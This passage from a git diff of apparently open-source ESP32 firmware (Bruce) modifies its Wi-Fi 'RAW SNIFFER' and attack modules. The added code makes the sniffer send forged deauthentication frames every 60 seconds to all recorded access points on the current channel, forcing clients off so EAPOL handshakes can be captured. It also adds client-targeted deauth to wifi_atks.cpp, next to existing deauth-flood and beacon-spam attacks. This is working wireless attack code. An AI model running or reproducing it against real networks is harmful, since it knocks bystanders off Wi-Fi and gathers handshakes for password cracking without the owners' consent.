deauth frames and cmds //===== SETTINGS =====// #define CHANNEL 1 @@ -322,13 +323,14 @@ void openFile(FS &Fs){ //===== SETUP =====// void sniffer_setup() { FS* Fs; - drawMainBorder(); - tft.setCursor(10, 26); - Serial.begin(115200); - //delay(2000); - Serial.println(); - closeSdCard(); + int redraw = true; String FileSys="LittleFS"; + bool deauth=true; + bool deauth_tmp=0; + drawMainBorderWithTitle("RAW SNIFFER"); + + closeSdCard(); + _only_HS=true; // default mode to start if it doesn't have SD Cadr if(setupSdCard()) { Fs = &SD; // if SD is present and mounted, start writing on SD Card @@ -339,10 +341,10 @@ void sniffer_setup() { else Fs = &LittleFS; // if not, use the internal memory. openFile(*Fs); - displayRedStripe("Sniffing Started", TFT_WHITE, bruceConfig.priColor ); + displaySomething("Sniffing Started"); tft.setTextSize(FP); tft.setCursor(80, 100); - int redraw = true; + SavedHS.clear(); // Need to clear to restart HS count registeredBeacons.clear(); /* setup wifi */ @@ -351,7 +353,20 @@ void sniffer_setup() { wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); ESP_ERROR_CHECK( esp_wifi_init(&cfg) ); ESP_ERROR_CHECK( esp_wifi_set_storage(WIFI_STORAGE_RAM) ); - ESP_ERROR_CHECK( esp_wifi_set_mode(WIFI_MODE_AP) ); + + wifi_config_t wifi_config; + strcpy((char *)wifi_config.ap.ssid, "BruceSniffer"); + strcpy((char *)wifi_config.ap.password, "brucenet"); + wifi_config.ap.ssid_len = strlen("BruceSniffer"); + wifi_config.ap.channel = 1; // Channel + wifi_config.ap.authmode = WIFI_AUTH_WPA2_PSK; // auth mode + wifi_config.ap.ssid_hidden = 1; // 1 to hidden SSID, 0 to visivle + wifi_config.ap.max_connection = 2; // Max connections + wifi_config.ap.beacon_interval = 100; // beacon interval in ms + + // Configura o modo AP + ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_AP)); + ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_AP, &wifi_config)); ESP_ERROR_CHECK( esp_wifi_start() ); esp_wifi_set_promiscuous(true); esp_wifi_set_promiscuous_rx_cb(sniffer); @@ -365,7 +380,9 @@ void sniffer_setup() { num_EAPOL=0; num_HS=0; packet_counter=0; - + deauth_tmp=millis(); + // Prepare deauth frame for each AP record + memcpy(deauth_frame, deauth_frame_default, sizeof(deauth_frame_default)); for(;;) { if (returnToMenu) { // if it happpend, liffle FS is full; Serial.println("Not enough space on LittleFS"); @@ -438,6 +455,7 @@ void sniffer_setup() { openFile(*Fs); //open new file } }}, + {deauth?"Deauth->OFF":"Deauth->ON", [&]() { deauth=!deauth; }}, {_only_HS?"All packets":"EAPOL/HS only", [=]() { _only_HS=!_only_HS; }}, {"Reset Counter", [=]() { packet_counter=0; num_EAPOL=0; num_HS=0; }}, {"Exit Sniffer", [=]() { returnToMenu=true; }}, @@ -447,21 +465,14 @@ void sniffer_setup() { if(returnToMenu) goto Exit; redraw = false; tft.drawPixel(0,0,0); - drawMainBorder(); // Clear Screen and redraw border + drawMainBorderWithTitle("RAW SNIFFER"); // Clear Screen and redraw border tft.setTextSize(FP); tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor); - tft.setCursor(10, 30); - tft.println("RAW SNIFFER"); - tft.setCursor(10, 30); - tft.println("RAW SNIFFER"); - tft.setCursor(10, tft.getCursorY()+3); - tft.println("Saved file into " + FileSys); - tft.setCursor(10, tft.getCursorY()+3); - tft.println("File: " + filename); - tft.setCursor(10, tft.getCursorY()+10); - tft.println("Sniffer Mode: " + String(_only_HS?"Only EAPOL/HS":"All packets Sniff")); - tft.setCursor(10, tft.getCursorY()+10); - tft.println(String(BTN_ALIAS) + ": Options Menu"); + padprintln("Saved file into " + FileSys); + padprintln("File: " + filename); + padprintln("Sniffer Mode: " + String(_only_HS?"Only EAPOL/HS":"All packets Sniff")); + padprint("Deauth: "); padprintln(deauth?"ON":"OFF"); + padprintln(String(BTN_ALIAS) + ": Options Menu"); tft.drawRightString("Ch." + String(ch<10?"0":"") + String(ch) + "(Next)",WIDTH-10, HEIGHT-18,1); } @@ -474,6 +485,20 @@ void sniffer_setup() { tft.drawCentreString("Packets " + String(packet_counter),WIDTH/2, HEIGHT-26,1); } + if(deauth && (millis()-deauth_tmp)>60000) { // deauths once every 60 seconds + if(registeredBeacons.size()>40) registeredBeacons.clear(); // Clear registered beacons to restart search and avoid restarts + Serial.println("<<---- Starting Deauthentication Process ---->>"); + for(auto registeredBeacon:registeredBeacons) { + if(registeredBeacon.channel==ch) { + memcpy(&ap_record.bssid,registeredBeacon.MAC, 6); + wsl_bypasser_send_raw_frame(&ap_record,registeredBeacon.channel); //writes the buffer with the information + send_raw_frame(deauth_frame,26); + delay(2); + } + } + deauth_tmp=millis(); + } + vTaskDelay(100/portTICK_PERIOD_MS); } Exit: diff --git a/src/modules/wifi/wifi_atks.cpp b/src/modules/wifi/wifi_atks.cpp index 7e7b550d5..727b4a4cd 100644 --- a/src/modules/wifi/wifi_atks.cpp +++ b/src/modules/wifi/wifi_atks.cpp @@ -51,20 +51,29 @@ void send_raw_frame(const uint8_t *frame_buffer, int size) ** function: wsl_bypasser_send_raw_frame ** @brief: prepare the frame to deploy the attack ***************************************************************************************/ -void wsl_bypasser_send_raw_frame(const wifi_ap_record_t *ap_record, uint8_t chan) +void wsl_bypasser_send_raw_frame(const wifi_ap_record_t *ap_record, uint8_t chan, const uint8_t target[6]) { Serial.begin(115200); - Serial.print("\nPreparing deauth frame to -> "); + Serial.print("\nPreparing deauth frame to AP -> "); for (int j = 0; j < 6; j++) { Serial.print(ap_record->bssid[j], HEX); if (j < 5) Serial.print(":"); } + Serial.print(" and Tgt: "); + for (int j = 0; j < 6; j++) + { + Serial.print(target[j], HEX); + if (j < 5) + Serial.print(":"); + } + esp_err_t err; err = esp_wifi_set_channel(chan, WIFI_SECOND_CHAN_NONE); if(err!= ESP_OK) Serial.println("Error changing channel"); delay(50); + memcpy(&deauth_frame[4] , target , 6); // Client MAC Address for Station Deauth memcpy(&deauth_frame[10], ap_record->bssid, 6); memcpy(&deauth_frame[16], ap_record->bssid, 6); } @@ -119,7 +128,7 @@ void wifi_atk_menu() { int nets; WiFi.mode(WIFI_MODE_STA); - displayRedStripe("Scanning..", TFT_WHITE, bruceConfig.priColor); + displaySomething("Scanning.."); nets = WiFi.scanNetworks(); ap_records.clear(); options = {}; @@ -163,7 +172,7 @@ void deauthFloodAttack() int nets; WiFi.mode(WIFI_AP); ScanNets: - displayRedStripe("Scanning..", TFT_WHITE, bruceConfig.priColor); + displaySomething("Scanning.."); nets = WiFi.scanNetworks(); ap_records.clear(); for (int i = 0; i < nets; i++) @@ -180,7 +189,7 @@ void deauthFloodAttack() uint32_t rescan_counter = millis(); uint16_t count = 0; uint8_t channel=0; - drawMainBorder(true); + drawMainBorderWithTitle("Deauth Flood"); while (true) { for (const auto &record : ap_records) @@ -197,13 +206,13 @@ void deauthFloodAttack() // Update counter every 2 seconds if (millis() - lastTime > 2000) { - tft.setCursor(10, 28); - tft.setTextColor(bruceConfig.priColor,bruceConfig.bgColor); - tft.println("Deauth Flood"); + drawMainBorderWithTitle("Deauth Flood"); tft.setCursor(10, HEIGHT - 25); tft.print("Frames: "); tft.setCursor(10, HEIGHT - 25); tft.println("Frames: " + String(count / 2) + "/s "); + tft.setCursor(10, HEIGHT - 45); + tft.println("Channel " + String(channel) + " "); count = 0; lastTime = millis(); } @@ -277,13 +286,12 @@ void target_atk(String tssid, String mac, uint8_t channel) if (redraw) { // desenhar a tela - drawMainBorder(); - tft.setTextColor(TFT_RED,bruceConfig.bgColor); - tft.drawCentreString("Target Deauth", tft.width() / 2, 28, SMOOTH_FONT); + drawMainBorderWithTitle("Target Deauth"); tft.setTextColor(bruceConfig.priColor,bruceConfig.bgColor); - tft.drawString("AP: " + tssid, 15, 48); - tft.drawString("Channel: " + String(channel), 15, 66); - tft.drawString(mac, 15, 84); + padprintln(""); + padprintln("AP: " + tssid); + padprintln("Channel: " + String(channel)); + padprintln(mac); delay(50); redraw = false; } @@ -301,7 +309,7 @@ void target_atk(String tssid, String mac, uint8_t channel) // Pause attack if (checkSelPress()) { - displayRedStripe("Deauth Paused", TFT_WHITE, bruceConfig.priColor); + displaySomething("Deauth Paused"); while (checkSelPress()) { delay(50); @@ -572,10 +580,10 @@ void beaconAttack() wifiConnected = true; // display wifi icon // drawMainMenu(0); - displayRedStripe(txt, TFT_WHITE, bruceConfig.priColor); + displaySomething(txt); while (1) { - displayRedStripe(String(txt), TFT_WHITE, bruceConfig.priColor); + displaySomething(String(txt)); delay(200); if (BeaconMode == 0) { diff --git a/src/modules/wifi/wifi_atks.h b/src/modules/wifi/wifi_atks.h index 1b498e91a..a85d94278 100644 --- a/src/modules/wifi/wifi_atks.h +++ b/src/modules/wifi/wifi_atks.h @@ -19,7 +19,8 @@ extern uint8_t deauth_frame[]; // 26 = [sizeof(deauth_frame_default[])] * @param frame_buffer * @param size size of frame buffer */ -void wsl_bypasser_send_raw_frame(const wifi_ap_record_t *ap_record, uint8_t chan); +static const uint8_t _default_target[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; +void wsl_bypasser_send_raw_frame(const wifi_ap_record_t *ap_record, uint8_t chan, const uint8_t target[6]=_default_target); /** * @brief Sends deauthentication frame with forged source AP from given ap_record